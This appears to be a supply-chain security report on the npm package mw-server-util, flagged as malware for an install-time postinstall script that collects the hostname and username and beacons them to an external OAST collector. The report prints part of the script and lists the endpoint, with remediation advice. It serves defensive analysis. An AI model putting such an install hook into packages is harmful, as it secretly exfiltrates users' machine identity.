registry / Data exfiltration / mw-server-util
mw-server-util
DEMO
This report shows the evidence for mw-server-util@2.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiSource inspection confirms concrete install-time collection and external transmission of local host identity data. The “DEMO” description does not remove the malicious behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm install, through the postinstall lifecycle hook
Impact
Leaks local machine identity and username to an attacker-controlled endpoint during dependency installation.
Mechanism
install-time host fingerprinting and HTTPS exfiltration
Attack narrative
On installation, npm executes `mw.js` through `postinstall`. The script obtains `os.hostname()` and `os.userInfo().username`, adds package and timestamp metadata, then issues an HTTPS GET request to an external OAST collector. This is unconsented host-fingerprint exfiltration at install time; the error handler suppresses failures.
AI rationale
Source inspection confirms concrete install-time collection and external transmission of local host identity data. The “DEMO” description does not remove the malicious behavior.
Evidence
package.jsonmw.js
Network endpoints1
gdx35zc4m7hymba6asotmwhd349vxlla.oastify.com/beacon
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` runs `node mw.js` via `postinstall`.
- `mw.js` executes automatically during installation.
- `mw.js` collects hostname and local username.
- `mw.js` sends collected data to an external OAST endpoint.
- Network errors are silently ignored after the beacon attempt.
Evidence against
- No additional package files, binaries, or payload stages are present.
- The script labels itself “DEMO,” but still performs real install-time collection and transmission.
Behavioral surface
Network
HighEntropyStringsTrivialUrlStrings
NoLicense
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node mw.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgmw.jsView file
1const os = require("os"), https = require("https");
L2: const COLLECTOR = "https://[redacted].oastify.com/beacon";
L3: const payload = new URLSearchParams({
L4: host: os.hostname(), user: os.userInfo().username, pkg: "mw-server-util",
L5: ts: new Date().toISOString()
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
mw.jsView on unpkg · L1•matchType = malicious_source_fingerprint_signature
signature = 0eb861226b817ec2
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = mw-server-util@2.0.0
matchedPath = mw.js
matchedIdentity = npm:bXctc2VydmVyLXV0aWw:2.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Findings
3 High1 Medium4 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationmw.js
HighKnown Malware Source Fingerprint Signaturemw.js
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to mw-server-util@2.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing mw-server-util@2.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.